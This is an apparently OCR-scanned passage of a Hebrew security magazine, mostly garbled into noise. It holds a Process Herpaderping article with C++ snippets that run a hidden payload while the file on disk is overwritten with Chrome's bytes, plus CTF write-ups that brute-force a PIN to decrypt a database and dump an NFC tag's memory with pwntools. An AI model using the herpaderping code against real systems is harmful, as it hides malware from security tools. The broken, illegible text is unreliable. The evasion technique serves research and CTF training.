| dZINNB Y, G- . x v 1, ix]x " zaSNI¥2REI A0 skt Ix4bie5 ) + 4. s -
Lo s LU bx o x s, 0 x4 &P ¥t NSAMEBIS 1 x .
DX xR d ) x o ] b A x 3 NABESKERNBISGKRCGEKREK L S X <1
-L M DXL 4 x A LR Fd.1_ . s - DX ] W X,
Yy iRE £

[ CreateFileTransacted ] | MoveFileTransacted | [ DeleteFileTransacted | | GetFileAttributesTransacted ]

NtCreateFile NtSetInformationFile NtQueryFullAttributesFile

l 4 % User mode

ntdil.dll

* * + Kernel mode
O YK ORIBUIRRET pRYY » X« _ ]
S, {9b¢Igw. | x s DL 6 T W GREE s ST AT IsS sl W8T xx s
Pxix g s o0 s e s Eem{e, { A IR L X By €8 X
L. txxx il {8a{ SNIBSEGONRILIIERENS ¢+ * s x4 X

¢

t N2OSaa | SNLIJ RSNLIA Y 3
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Technologic

117 xx L .s s 4. ."x s DXXE 1S X BB HE K AL v ks
{({8@21MmyIaq _s = x]¢x vy xI 4

Px 40 b4t by pyxy X o ox X D OAGEREE T oy X xs x XX 4
«wsS Oumklg s L. cxos T L XA T xS

Fd- X440 x T x” ]x1  2{AyR2 ga& ¥ shLJ§yB dzNIS>& s s, 1 _Ix.

. s s ¢ = X « s [ xx , {s K S 1L

beS[[x4 " x * _x

2 AYREGHE 4! s Ix 0 0 kA A DESE M e XX P T X XS X X
LY T " HYIREE XS YA F IS, 0 4107 1]
Pv [ 2FREAQONLMB®EE D~ 1xx 8 Dk {dTx s X

DSGt NEOI'RRNB&A& x4 .7 x s |

\

HMODULBEtdIl_handle = LoadLibraryA (" ntdil.dll ");

FARPRO®roc_addr = GetProcAddress (ntdll_handle, "<Proc_Name>®);

FoX s ol dx it ] yERER x4 s g4 .o

X LS x4 .."x s I.phiREfCUyOdARZY A
Fd N o e X X

I LU S 5 N (KSR B B
CX e X LoX 11 Fdo 4] s FAdd <" 4T E s x4y 1 X X o

~

w

JETR S R TANT, I S I N ah SN PIES IRL Pl Y e 4> s 4.0 1A

ZxCx,,s]LvL~sl X ys . ¢ x fmianifest.s xVZJx’V it :|kas>i,J;|\< ; XA"| q

~

A T O R o L N L RS S I S EDMRNEL S B

X0 ¥ v x ] %, 44"xs, 8 € % %k I X = X X R T
FA Y s Teid L dar S X ppddldaussl s s T . P T b X s ls @
1, v« - ¥ X g4y (X ST s Tl L , X4 T4 0w s X 1. x 1 X

Zx{b()gRé’gigtpysFA:x.|x|_,.|§°,>,><.‘x]x2<:s>6‘xx:JL’xl_sL~ = ] x s Lo X S

A A e I RV DL LR B

~

s » x X JCMPTunheling s _ x | 1s Ll st Sx T G ] TN Y DX
, S 1 PICMRs 1 (o x” xs o Dox X s X G&EsSL e es e 4 x 1A
=L xy % =xvax
t N2OSaa | SNLJI RSN1Ay3
G FDP5ATAG 2 KAALISNIDOZ2 DA f
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x 14, xs {1 MachipeLearning -~ 1< ) - ¥ '\ xs nReputatidor -

s,,-|v X ¢ 4 < L ,s>x“2 ~ %] X X F'|~v:~v SVJ , X0 X x 1 q,
Reputation | * X « s x I X « X « 4 % P ox 4T ox D" ox P s x X

t &{ SG/ NBIFIGSt N2OS&aab20AT

Fso L, TX[2FRSENH ) Ax L r 87 Xhs (xLsops Xshxd o pd %o,
Doe FSL . 4% s X , X o .8 17 0 _ M 1400 st L 17y

LOX DX o Y X ,, S L X « X, L X L
°

LS. s A4 . sixe A4 ox: sy ss OFAFOFOI% T XXy
B T T R S S I LA T (O I
Lo s s XL L x " I {isis RAYRRAASKN ST VI s

22X x4 s L, + X _ERNBHR XY 19 L3R §PR2 g x| -

Ides s .4

Tlxnt 1 x ] xiXa! QWESQhAR2Y XK sy kX" [ J{Ls s

s O x "s

HANDLEsection_handle = nullptr ;
NtdlIFunctions :: _NtCreateSection( &section_handle, SECTION_ALL_ACCESS

nullptr , nullptr , PAGE READONLS®EC IMAGE herpaderping_file handle);

. X 11{ .

HANDLEprocess_handle = nullptr
NtdlIFunctions :: _NtCreateProcessEx( &process_handle, PROCESS ALL_ACCESS

N

w»
Q(
[N

G KRYRES x4 X7 x 4L sis 9.

nullptr , GetCurrentProcess (), PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
section_handle, nullptr , nullptr , FALSBH;

L | X" X900 A2 L AT AT s 4L s ] X
L X . 1« TOMHE$0 [ O INBILTRISE T T4« {6 RRNEIFRx x| _
I s o ¢ x "s Lo X x s - Dx vy :x"vICs X "
cx " x 14 s =svx , X i« X L o s _x)x.p<~1,' ,s.|
y.0 R £ | S A
tN2OSaa | SNLJ RSNLAyY 3
G P5AIAGEE2KAALISNIO2 PA §
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X i sl x s oo Tx e x C KEYRE ST b AT x4 SdA x| X
417 s 414 L ssx S ox 4 44y s Ix D X < 4s s XX

D22AKS8RYS_ 1 ,s1x{1*xx s 44"

C X "I v L, " xD22AKSIBYS 1. , v LYy x sy
HANDLEchrome_file_handle = CreateFileA ("<Chrome_Path>', GENERIC READ
0, nullptr , OPEN_EXISTING FILE_ATTRIBUTE_NORMA®ullptr );
auto chrome_file_size = GetFileSize (chrome_file_handle, nullptr );
auto chrome_file_content = std :: make unique<BYTH]>(chrome_file_size);
:» ReadFile (chrome_file_handle, chrome_file_content. get (), chrome_file_size,
nullptr , nullptr ),
, X414 s il x s (CREBAFEENI! x ox 7 X x sy sX{I ] X
UeSG CAE Sts2HAVTSNIs 1 . ¢ x X x s DT ispox x| 1y
L Tl ox , SISENEYS | L& Loxisx {1 ox oy Fd1T 4T x 71T L)
:(x,,:x”~ FHA s X v XX 071 X Ll xy X
:: SetFilePointer  (herpaderping_file_handle, 0, nullptr , FILE_BEGIN;
.. WriteFile (herpaderping_file_handle, chrome_file_content.  get (),
chrome_file_size, nullptr , nullptr );
L s " X . =
140 s > 47 x
kA1 . BKINBTIXRe X7 el 0,100 sx o] N I S I PN B
B T T T o R e T B S S BT,
Fd. 1. s i
Fd -1 _wifts/ NBFGStNRPOS&AtLNIEKYSOISNESGE 117 v 4.1
LU x o ASNBEANBRBBZOG- s . o x T LT b v psXoop{rx s
Lo+ 17

PRTL _USER_PROCESS PARAMEIB&Ss parameters = nullptr
UNICODE_STRIN{nage path name;
UNICODE_STRINGommand_line;

UNICODE_STRINGitle;
UNICODE_STRIN@esktop_info;

PROCESS BASIC INFORMATEDNent process_pbi;
PEBG64 current_process_peb;

t N2OSaa | SNLJ RSNLIMA Y 3
66 ®PS5AIAGEE2KAALISNIO2 DA
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L T S . RN B NS B
A ws v 41 _~» 8 _ s"> s | Tprocesspdrameters o 4 14 s 7
Image s . _ +~ L _ S + X« dUni€ode: ~ ¢ smmHAge path -name
cCY X xi v s Imdge v ¢ 1 1% x " x "mdohmandlired 1 _ ~ | s

imageexefoo barbaz

s or Y s O T lyx o Xx s« Boader® » 1Y s T . T x .
-I Sx s ” X"-l”\.
SiesT 1oy s Lo = x oL 1 X .l x |s e s « LTititleL | 1,0

. X~ 1 AWindowStatiorx $wdesktop info
L, s Xx o ls  te ¥4 s s o7 x " qeurrent pfodedspbi s§ 4 4L s i s
1.8 «~xX4 PEBXpr  IPEB.¥ 5 X

111 x 7 s PEB o 5+« s o d ] mcurrent processpeb

t9.s" > s

~

Fesoox e A A o Ao st 0t NPTOS/AGBA NBLYTYRSDRR ! 1 x4
s s 4L Al Yy6E85688IAYA . I x SAYIA5SSOEHAIER x I x.« pA{yX
bS]l P EYETE Xk FSSIRRNB &7Ex <) 4,2 HRENI s L

t N2 OSaat NHYSHOSNBI L s s o Fdoa

~ ~

Wit LyAG! yADRRSTANR YT 44 SR I I R R AN

FORCEINLINEVOID RtlinitUnicodeString (
_Out_ PUNICODE_STRINBestinationString
_In_opt_ PCWSTFSourceString )

if (SourceString )
DestinationString - >MaximumLength =

(DestinationString  ->Length = (USHORT wcslen ( SourceString ) *
sizeof (WCHAR + sizeof (UNICODE_NU)L

else

DestinationString - >MaximumLength = DestinationString ->Length = O;

DestinationString - >Buffer = (PWC}HSourceString

Ix s X L FXow , L s x4 X x4 4 _ s
YUIRE €
t N2OS&aa | SNLJI RSNLIAy3
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oL FoloL

NtdllFunctions :: _NtQuerylnformationProcess(  GetCurrentProcess (),
ProcessBasiclnformation,
&current_process_pbi,
sizeof (current_process_pbi),
nullptr );

current_process_peb = *current_process_pbi.PebBaseAddress;
RtlInitUnicodeString (&mage_path_name, L"<Image Full_Path> ");

RtlInitUnicodeString (&ommand_line, L"\"<Image_ Full Path> \"");
RillnitUnicodeString ~ (&title,  L" You have been herpaderped!  ");
RillnitUnicodeString  (&desktop_info,  L"WinSta0\\ Default ");

NtdlIFunctions :: _RtlCreateProcessParametersEx(  &process_parameters,
&image_path_name,
nullptr
nullptr
&ommand_line,
current_process_peb.ProcessParameters - >Environment,
&itle,
&desktop_info,
nullptr
nullptr
0);

bivdsSNBELYTF2NYEGARVENEOSA ] £ 99" < v, T4 et

OdzNMBNRIPSEMS " & _ s 1« tNROSEAANAAQLYFENNFEGRRZY ¢4 ¢

tSE. FasS! RRNBt®)®s x v _ X x I s T« | ox]s p{yrsis
.5 ¢s RYNBFSNBYOS$19xs v «x. < 14X

St +rWOHHANBKGIStNROS&AKE N YSESNBOE « X x” 17+« | Ix¢
s T x o i A x st o x{s 4 s XX s 47D
s | S S 171 1x " s ] 4L s s L s X 4 X S . s

’ ~ v ~ v

111x"s J4L0s:9yPANRYYSYyd s
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oo
X 1 Yo.os v 4.1 s SRt L S T
+ANABEYRENE x @ x. 144 s x4 ST sy 441 < xs .
1. oo v AT, xeTse o Texdx 44 . s 0 o D X x D] s {Ld OS. 1 x”
L o~ X x i] L , S« ¢ x"s Lo ] 4L s . s ] x X% =x ., ] 4¢ DX oL WS L
t 9-s Jx Xt NR2OSdat !l \Y.SGSINE ~ 1! L ¢ x b1 . s .
. I 7 s = X ] {4 ¢s Lo X X ] L
Jduesti9s w0 Xxel ks, 10" 40T
PROCESS_BASIC_INFORMAT b
NtdllFunctions :: _NtQuerylnformationProcess(process_handle,
ProcessBasiclnformation, &pbi, sizeof (pbi), nullptr
t:N2OSaatNHYSGSNR 1!« L lx” srxosoo
auto process_memory = VirtualAllocEx (process_handle, nullptr
process_parameters ->MaximumLength + process_parameters -
>EnvironmentSize, MEM_COMM|T MEM_RESERVIPAGE_READWRJTE
proce ss_parameters - >Environment = reinterpret_cast< PBYTE( process_memory)
+ process_parameters - >Length;
WriteProcessMemory (process_handle, process_memory, process_parameters,
process_parameters ->MaximumLength +
process_parameters ->EnvironmentSize, nullptr );
WriteProcessMemory (process_handle,  reinterpret_cast< PBYTE(pbi.PebBaseAddre
ss) + offsetof (PEB64 ProcessParameters), &process_memory,
sizeof (process_memory), nullptr );
PAIACERNBI R 4L v X700 v 70 ] Pl

t NEOSaa | SNLJ RSNLJA Y3
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¢ KNBF R4 41 x | ss x|

LA 154 exs 4 s GKNBY Rie . b HA s, XD es sk x o f
t 2NI @Ot SB5{A{ ¢+ 8. s 1. 2AY R2%Ax x| 4 | ? X .. L4159 . ox o
x 1 g 80A2Ya 1« s _ 1 s¢ o T4x o xx 9ESOdzi} o€ S5 o

%]

PO Y OLsEBASY G *x x 1 . ox ] s 47 NP RIIGABSEGr . T4
Tooxd e e Al v s 4. s)) CKNSERI s 40d «dTL X 444,

~

(:x-|~)s
L1111 _s MSDOS 1s . ~ st 1. _ o _ s ToMSDOSHeaders§ 1« . " _
TAAL o x x4 x4 sy s DX L, Y v s
CF 4 _— XX s ¢ X s ¢ X X

~ o ~

| x . ReaMdde « ¥ MSDPOS s . ss I ].  _ % TMSDOSStyb*f « s x s | {

aThisprogramcannotberuninDOSmodeg s ¢ xs« 4 I s s € 1%
s _ 415 1s  p gl s XL cxy x4 . x  sTiPESignature §~ s -, . _ )
OPEO\OE : « 4 s
X7 L xs s X ., x s Machife, xx1 <11 1:]1x I« AFile:Headersy - «_ 1S 1

Symbols s L * 1 PqintefTéeSymbolFable x _ 1 x | ~x . |

X Ay 40 x s L4 s X x . fiOptionalHeader §x s . 4 L " X
, S s ds N | , o171 s XX 1 L1 s L oxoy ,
EntryPoints . X x I ] s X

t.9 4%« 19 SIMNCHBELI*2NBNIs . 11

Optional- s : THreads . EntryPoints . _ © X x 1 s 1« ¥y { s |x" Xy
OptinalHeaders . ~ - _ ¥ 1 1™  * DQSHeadet & | . s 4 : X ¥ gHeader™ * « s 1 |
o110 L bffsets. | s 4 { DOSHeaders- | xeifanew s! s <« . 1.7
X X S

const PIMAGE_DOS HEADpg#&/load dos header =
reinterpret_cast< PIMAGE_DOS_HEAD&Ryload_bytes. get ());
const PIMAGE_NT_HEADERSgG#yload nt_headers =

reinterpret_cast< PIMAGE_NT_ HEADERS(ayload bytes. get() +
payloadDOSHeader >e_Ifanew);

OptinalHeaders - FileHeaders - - | s _ 4 paylead nt_headers {4 x - *
~ *EntryPoings - X x 1] « Y { s OptionalHeader, , $ x4 ¥ x> o 4 _ = XA
] 4L s . s I_Nv.|v><s DXox o]
t N2OSaa | SNLJI RSN1Ay3
G FDP5ATAG 2 KAALISNIDOZ2 DA f
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A
PEBG64 process_peb;
:» ReadProcessMemoryprocess_handle, pbi.PebBaseAddress, &process_peb,
sizeof (process peb), nullptr );
EntryPoint s+ _ - dc+«X1.4xs o Xxo s X T
ULONGLONE&Mtry point = payload_nt_headers ->OptionalHeader.AddressOfEntryPoint
+ process_peb.ImageBaseAddress;
EntryPoint s _ 40 ~x1.,4xs I Xx THead ~ ¥ A 1w« o 472 71X
NtdllFunctions :: _NtCreateThreadEx( &hread handle, THREAD ALL_ ACCESSullptr
process_handle, reinterpret_cast< PVOID-(entry_point), nullptr , 0, 0, O,
0, nullptr );
s X <o = s .x”l_~ ] 4L s . s -|_><1y1|_”\$|_A:)xS’stZZJ,,’AstAs(‘,,
GoogleChrome + ~ " x <. x ¢« X Ts x| ¥ {
X « X S

t:N2 @3 205 SNT . JdLs s Ll

N
Verified) Google LLC
Version: MNfA

Tox i AAY Al s 4T f s xTx g A f iy ks ss {0 Tl x

X" Lo X0 s v x s 6y cHACRY e XX Y 1 X% ] ¥ X

!

Command line: " Process Herpaderping'n,p| 2
Current directory: | N Frocess Herpaderpingpoc '|,|:||_|i|t|
Memory Environment Handles GPU Comment
Name Value A
ALLUSERSPROFILE C:\ProgramData
APPDATA C: I 2orData\Roaming
asl.log Destination=file
CHROME_CRASHPAD_P... \\.\pipe\crashpad_14552_QVRMECF...
CHROME_RESTART Google Chrome |Whoa! Google Chro...
t N2OSaa | SNLJI RSNLAy3
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Payload

'0‘ | am the payload!

Xl A

T 1Yo RREE, i Pox b 0 I T s I X T X L xS
OF ftsol 094 . «"t af St NBKk{GSt NP Oéésé-lb\Z\x[,]”AX‘F,éSWESdZijAyfggfé Lo
1L x*s Tx, 4 1s ot NEOSSEINAI RS NLUAMY 3. syl , S Lo s
L boxo o px x4 14y 1 x40 LAY o xdH xS x HAA X

T S, FA 1406 ayTR3ISNDY L x| X ok e s R s, s
o~ s 14 s B ARAONR a2 Fhr ¥ 4083 1%¢ 1. x 11 7 x
.S X x | q S  fxxs” X . .

A 1 -

https:// jxy-s.qgithub.io/ herpaderping

https:// www.crowdstrikeconv blog/ herpaderpingsecurityrisk-or-unintendedbehaviof

https:// habr.conyen/post/ 485788

https:// www.vergiliusprojecicony

- a A A =

https:// doxygenreactosorg/
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C2NDS/2AY

”

Mmpmnal x4

Our agent from the field has obtained a few files related to a
program that is used by a terrorist organization!

This zip contains the program and a db file.
We need your help parsing the db!

Give it your best, we heard that they use it and that it might
contain some intresting information for you!

Good Luck !!

[ N [ AN
1 ForceCoirexe
1 db.txt.enc
1 ForceCoinTransactionSigrdit.enc
s XL 17 X THN XA s AP SBRAGEND s+ L T

CHE R S B | SO B SR S S S X« AT X PSS ~1 7 , SL S
1 . . o~ X . , XGEENIDQL?\]YS\ :D‘_.I '.'SS"L"'i”?;X"V U 'I . " Cox y L )
X|-|,,|_> ,.,x
ol PinCode — O *
d-digits pin code
Enter

L., X~ ] r 4o sHE{HRLFKANA DB “TRINDS/EBAY

| " s 1 S S =1 X s L x X . X

"~ >~ ~
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private DoMD% input )

{

return

BitConverter . ToString ( MD5 Create (). ComputeHash ( Encoding . ASCII . GetBytes (input ))).
Replace ( );

private RijndaelManaged GetCryptoAlgorithm
{

return  new RijndaelManaged

Padding = PaddingMode . None,
Mode = CipherMode . CBC
KeySize = 128,

BlockSize = 128

public [ StringToByteArray ( hex)
{

return  (fromx in  Enumerable . Range(0, hex. Length )
wherex %2 == 0
select Convert . ToByte (hex. Substring (x, 2), 16)). ToArray ();

}

public DecryptFile  ( [ Kk, input , output )
{

[ array = File . ReadAllBytes (input );
_ = . Empty;
using MemoryStream memoryStream = new MemoryStream ();

using ( CryptoStream cryptoStream = new CryptoStream (
memoryStream , GetCryptoAlgorithm (). CreateDecryptor (k, k),
CryptoStreamMode . Write )

cryptoStream . Write (array , 0, array . Length );

File . WriteAllBytes (output , memoryStream . ToArray ());
}

private buttonCheckPin_Click (object sender , EventArgse )
{

text = richTextBoxPinCode . Text ;
if (text .Length = 4)

{
richTextBoxPinCode .Text =

return ;

= text ;
= text ;
0; i < 10; i++)

DoMD#% text2 );
DoMD% text3 );

0; j < 10; j++)
DoMD#% text2 );
== text2 )

[ k = StringToByteArray (text3 );

WOt 2HNnHMDb
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DecryptFile  (k,

DecryptFile  (k, ,
AppForm appForm = new AppForm();

Hide ();
appForm . ShowDialog ();
Close ();

}

catch ( Exception )

{

richTextBoxPinCode . Text

. sXx gmabSpr ¥ Ao, *_ 1. , C2NDS/[ 28 &« , I xos .0
X s Do 1" .. 5xosMmmMnr V¥ HOpPpT py . r Bl TREAMHSGTTHO!
FMon s, s ocabpoaxxl v o X e 4T X

1 S ., X X X A « S X A X « S | .

from itertools import  product
import  hashlib
import  string

TARGET =

def (pin ):
for _ in range (20):
pin = hashlib . md5 pin ). hexdigest (). upper ()
return  pin

open ( , bt ) as f:
enc_data = f.read (16)

pin in product (string .digits , repeat

pin =" .join (pin)
if calc (pin) == TARGET
print  pin
break
LA
I--IJ”,.S .L‘f{Lﬁ»(,N@’%LN(ﬁéIQAYYXIL svnn b IXX~-I-|X X
'|:>vsx , s 1 IxA_.|,,:XsI~s \x-|:sx\s.||_‘s>~x\s\l,,x”A ’x”L~ 1,4~
I :X”>V p x A L
P, s s X7 dROIMRSE0-SINE, 1, x 7
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o5 ForceCoin

Sender |

Recipient I

What |

Push Transaction

Pop Transaction

Sign Current Block

List Blocks

4
0]
3

Bob -> Alice [
f623e75af30e62bbd73d6df5b50bb7b5
4eefl13c0cb7c79813¢c798278770edc18
00e04f724e7a688bba85591f41cabc66
3e2396¢3ffcheceaf2cce64d121cd46ec
5dd1e136eed6c8d7b3c05aedf806827¢e
9401c1b5e67a9a0165473e€929451b146
5d4cd43fef5d09c9a897a2d197¢c0e430
7ed760dcf05e798ddf2aead47518c8c26
8e6e0d7f59dcbad7032301475d2¢c3cbh5
e4aab532750a50837317716711b2dabdc
9b3d21619f85¢c27c7cb154ed6del6de2
7ebb03bd0b04cc46dcdc8c4f48207dab
6bach7e544d2545fef9462c340ca4dd2
9d8859729b3cbd5e8b69a9942693c659
347¢3c0d886a55671c5a826fbfacblal
228f416e2b0618bc895 df5aal5b056a6
01489e6fc5c3489df27077365¢c807beb
1d39e3b97181079f5¢c2d37de0fd21d50
Alice -> Bob |
8d9c307cb7f3c4a32822a51922d1ceaa
b7e7f2b46723f5008d763041108f8fed
Alice -> Bob |
5dbc98dcc983a70728bd082d1a47546e

Sender Recipient What

0567953871b1bf589b797d9b178d5a94
b8aa853d4a02f1024e92ec3626deb27f
d29ff39e8237020708859fd83de7358b
€93c0298d07705f4ea95116361fba84d
0c18777da528d26b0ba37d240f5bd850
4c305f18aa3ae7d854dab77edc862be2
4d8561461499e594d7bc0f6f3239¢cc98
835f17bad7e4fl0ec 822331db625a441
259d482498d9f2dae6d96dc3b343a908
f07799cfe461de05a6327c5195f33ald
e3e58f791778f6f20d745c5e6f0ae62f
92cc27585fefc1c21342415bb6b6bcsf
eaffb62f530c3266d1106d880ad620ee
24d27068f5de2bbad9b5acf38c97be2b
85ffb85440a4ce7880a278ef0393b449
ad692bc711e46264c4b7dad4956fa5ce3
8b29bb17d2c92b480bclbc2ea611037a

bafd7322c6e97d25b6299b5d6fe8920b
€6662662a3f90aa497566c9b4a32f2f7

e2e0ab9c9510bf61fd17296bae8d3d24

2341fcf59582¢ch2b44168f1b477bc850, 2d80c7c603f99c429891d40e30bf391d,

140208bb60fc3f70eabd068701030425
Bob -> Alice [
f186217753c37b9b9f958d906208506€
d4f59cb9d92b06b80311ccf98a6c36€9
b11794fedf37354635f9dcdfdd1ea986
91f43049eb069a16c64e8cb7b97d5350

8021f7e4b05dada0ad3d47567e52249e
20809e9ce9cfa9bcecs5c7c157596be8e
4bbbcb9c0429b23818385e2aaa78eba3
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L UOXC X XL Ll x s CIX@K AL ey x Y X A

Sl .80 a5 Pl AKX sFcHOeSTFPlFTonScHOORTORCRTp

«dAB8Z" 1, «1s_  gMOFpy-POST*XPT Rpomhp Bp P apd _ 4+ ¥ &K * s

14 . S X 1o s ¥ [1AaKe x -X = s P DX

(DXX“S X, Tox A LX o, X e qd ,,'|\|_) 1,

import  hashlib
import  string
import  re

def (curr , target ):
for ¢ in range (0, 256):
¢ = chr (c)
guess = curr + C
if hashlib . md5 guess). hexdigest () == target
return ¢

return

def 0:
with  open ( , ) as f:
enc_msgs = [re.findall ( , X.rstrip () for x in
f.readlines ()]

enc_msg in enc_msgs:
dec_ msg =
for msghash in enc_msg:
dec_msg += get next char (dec_msg, msghash)
print  dec_msg

Do you have another message for me?
Nope
Sorry

o h We I |************************

Yes

What is it?

A Secret

Message?

Yes

flag{L3mOn - SqueeZy}

Message?
Talk To Alice

TElaos{hagrey

WOt 2HNnHMDb
66 ®PS5AIAGEE2KAALISNIO2 DA
yy HAM, ~-MHT ~ X {4 LY



http://www.digitalwhisper.co.il/

aTechnoloqgic

bCi/+

~

Hnon! x « {7

Our target adopted a new way to keep sensitive information! They use secure NFC tags to keep secure and confidential
information inside them.

We managed to place a strong NFC reader near our target’s secret NFC tag. Now we want to communicate with the that
tag and extract the secret information from it.

In order to connect to our reader and send commands to the tag, you just need to open a TCP socket to:
nfc.shieldchallenges.com 80

Each message you send on this socket will be transferred to the NFC tag, and the response from the tag will be sent back to
you on that same socket.

In addition, our sources equipped us with some information that may help you to communicate with the tag and extract the
secret information from it:

1. A secret document from our target (attached).
2. An authentic message sent to the NFC tag. Due to alow signal, we managed to extract only 5 bytes from the

message. The message is presented below (X stands for an unknown nibble).
1BXXXXBEAF493@

3. The secret information you need to extract is located somewhere in the memory space of the tag, and its size is
16 characters.

Good luck! We trust you!

TE¢ 3. vq4 s o L BEL ¥4 st s s . x"Hm x

X 4 L« s 1L ” 4 e L] s I x s x Yy I s L X S R
FASs Xl 4oy 0 o x 7 1. s

X 1 *NTAG213s¥Sx |« s ¥ s

The dedicated NFC tag will have an NTAG213 chip (made by NXP™) , as specified in
https://www.nxp.com/docs/en/data-sheet/NTAG213 215 216.pdf

L% DXNTAG213.L . S xlx s L] o~

1. We removed some command capabilities from the tag, such as the WRITE and READ_CNT
commands.

L X oos x0T s e 0 x 1A
2. We added a new line to table 23 in the specification:

Code (4-bit) ACKINAK
6h MNAK for unsupported command

WOt 2 HnHMb
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S 4w ] 1" x . L L GEF_CEGVI-:~~XS LS ~=I 14 ”sNI X9 s X X

> > v

3. We added a new command:

GET_CFG

The GET_CFG command is used to retrieve the configuration bytes defined on the
specific NTAG213.

This command can be used without any authentication.

The GET_CFG command has no arguments and replies the the values of CFGO
and CFG1 for the specific NTAG21x type. The command structure is shown

below.
NFC davics CRC

FERE e IEEEESEES
283 s e Tack A BEd us .

NTAG , NAK" MAK

T
» < | STus
Trimetut
Tirme aut - L a 22000587
FigY. GET_CFG comumand

TableY. GET_CFG command

Name Code Description Length
Cmd 66h Get configuration bytes 1 byte
CRC - CRC according to Ref. 1 2 bytes
CFGO - Value of CFG 0 4 bytes
CFG1 - Value of CFG 1 4 bytes
NAK See Table 23 See Section 9.3 4-hit
Y s Pl :,,x~‘CR(_§s~LVAx~ﬂ~Is.{V

In addition, as a result of our discussion about the CRC calculation, I add a clarification regarding
this issue:

ISO 14443 refers to CRC_A and CRC_B described in ISO 13239, The initial register value shall be
0x6363 or 0xC6CH in reversed bit order. Polynomial is 0x1021 and no final XOR is done. CRC
result value should be reflected to least significant bit (LSB) and little-endian byte order.

SN e 4T Xs L Lt o AR Y LS/ e H X E
TKEWF s e xR s T A s 1T d e s v xs
S 41" X T L.x1 st DOT Y/ TBDX] s 56 s

A wgs e X 1T IONDOKSOY s L ADIEa KA T L " . 4s . Lxy o
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G FDP5ATAG 2 KAALISNIDOZ2 DA f
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from pwn import *
from crccheck .crc import CrcA

def

if

(QUEDS))
crc = CrcA()
crc . process (bytearray (msg))
return  str (crc . finalbytes ()

(msg):
global p

msg = str (msg) + calc_crc (msg)
p. send ( msg)

return  p. recv ()

0:
global p

p = remote (
send_msg (' \ x66' )

__name__ ==
main ()

x

[ python solve.py DEBUG

[+]
[

Opening connection to nfc.shieldchallenges.com on port
] Sent 8x3 bytes:

00000000 66 57

00000003

] Received 8x1 bytes:
00000000
00000001
Closed connection to nfc.shieldchallenges.com port 80

S I X o [N 7oXx , S*XXph CI!sSDHMO_ ~ 4 %s sl s

9.3 NTAG ACK and NAK

NTAG uses a 4 bit ACK / NAK as shown in Table 23.

Table 23. ACK and NAK values

80:

Done

| fw- |

Code (4-bit) ACKINAK

Ah Acknowledge (ACK)

ah MAK for invalid argument (i.e. invalid page address)
1 MAK for parity or CRC error

4h MAK for invalid authentication counter overflow

Sh MAK for EEPROM write error
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_n

~

{SL X,

KA RK | < ™ «

-> return

S A ST WIS AT 1S

return  str (crc . finalbytes 0)

str (crc . finalbytes OL:

s S . X's s X X TS e L X«

[+] Opening connection to nfc.shieldchallenges.com on port 8@: Done
[ ] Sent 0x3 bytes:
00000000 66 57 | f-w|
EOPOEOe3

] Received @xa bytes:

elolofelelolele] 24
00pEeeRa
[*] Closed connection to nfc.shieldchallenges.com port 80

HH s L X1
*XPBerDamo x1 .x o %
9.1 NTAG21x command overview

All available commands for NTAG21x are shown in Table 22.

Table 22. Command overview

CEE-BSE Do e 4] vs oy Tx L 14 s o ox

Command[il ISONEC 14443 NFC FORUM Command code
(hexadecimal)
Request REQA SENS_REQ 26h (7 bit)
Wake-up WUPA ALL_REQ 52h (7 bit)
Anticollision CL1 Anticollision CL1 SDD_REQ CLA 93h 20h
Select CLA Select CL1 SEL_REG CLA1 93h 70h
Anticollision CL2 Anticollision CL2 SDD_REQ CL2 a5h 20h
Select CL2 Select CL2 SEL_REQ CL2 a5h 70h
Halt HLTA SLP_REQ 50h 00h
GET_VERSIONE - - 60h
READ - READ 30h
FAST_READEI - - 3AR
WRITE - WRITE AZh
COMP_WRITE - - Alh
READ_CNTE - - 3o9h
PWD_AUTHE - - 1Bh
READ_SIGE . - 3Ch
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10.2 READ

The READ command requires a start page address, and retumns the 16 bytes of four
MTAGZ21x pages. For example, if address (Addr) is 03h then pages 03h, 04h, 05h, 06h are
returned. Special conditions apply if the READ command address is near the end of the
accessible memory area. The special conditions also apply if at least part of the
addressed pages is within a password protected area. For details on those cases and the
command structure refer to Figure 16 and Table 29.

Table 30 shows the required timing.

NFCdevice | Cmd | Adar |  crc |
NTAG , ACK" | crRe |
68 s Tack | 1548 ps |
NTAG , MAK"
Truas | 57 pe |
Time out TTimeOut | asa-D0EG8E
Fig 16. READ command
Table 29. READ command
Name Code Description Length
Cmd 30h read four pages 1 byte
Addr - start page address 1 byte
CRC - CRC according to Ref. 1 2 bytes
Data - Data content of the addressed pages (16 bytes
MNAK see Table 23 see Section 9.3 4-bit
TEHY X s « XL TLIMES s«

In the initial state of NTAG21x, all memory pages are allowed as Addr parameter to the

READ command.

* page address 00h to 2Ch for NTAG213

1«4 17"

X

r”

-I\.L ~ v X

The following conditions apply if part of the memory is password protected for read

acCcess:

* if NTAG21x is in the ACTIVE state

SLWONE S, 949 wds, Tk (.

> ¥

- addressing a page which is equal or higher than AUTHO results in a NAK response

- addressing a page lower than AUTHO results in data being returmed with the
roll-over mechanism occurring just before the AUTHO defined page

* if NTAGZ21x is in the AUTHENTICATED state
- the READ command behaves like on a NTAG21x without access protection
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4T Rt s SREH/ . BIH3S L1 e v 11 x7 i

def 0:
global p

p = remote (
for 1 in range (0, Ox2C + 1, 4):
send_msg (' \ x30" + chr (i))

] Sent x4 bytes:
pgoooooee 30 20
peeoee04d
] Received @x1: 25 :
[eJelu]a]a]e]a]e] 54 68 6 20 73 65 63 72 65 74 20 69 73 3a 20 The| sec
poeoeel1e |
poedee12
] Sent ox4 5
00000000 30 24 - |oss- |
peppReR4
] Received 0x1 bytes:
00000000
[eJelalela]eone
] Sent x4 by :
pOOPOEEE 30 28 48
[olelalelalo ok
] Received 8x1 bytes:
[elelelelalolale)
peeRee01

¢ KSS ONS (

nEan” X4 x A

B WRAY O HARSYGAORGARZY X7 L %4« HOSSX KA  Xx., "«

~

S NN L R At Tx x4 ] s
HH st X1 m »x83781 Cn-dpon s - 41> x 7 XA c 4w 1

I A R B SR 1Tk ANTE X IR B B O B cds X T
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10.7

PWD_AUTH

aTechnologic

A protected memory area can be accessed only after a successful password verification
using the PWD_AUTH command. The AUTHO configuration byte defines the protected
area. It specifies the first page that the password mechanism protects. The level of
protection can be configured using the PROT bit either for write protection or read/write
protection. The PWD_AUTH command takes the password as parameter and, if
successful, returns the password authentication acknowledge, PACK. By setting the
AUTHLIM configuration bits to a value larger than 000b, the number of unsuccessful
password verifications can be limited. Each unsuccessful authentication is then counted in
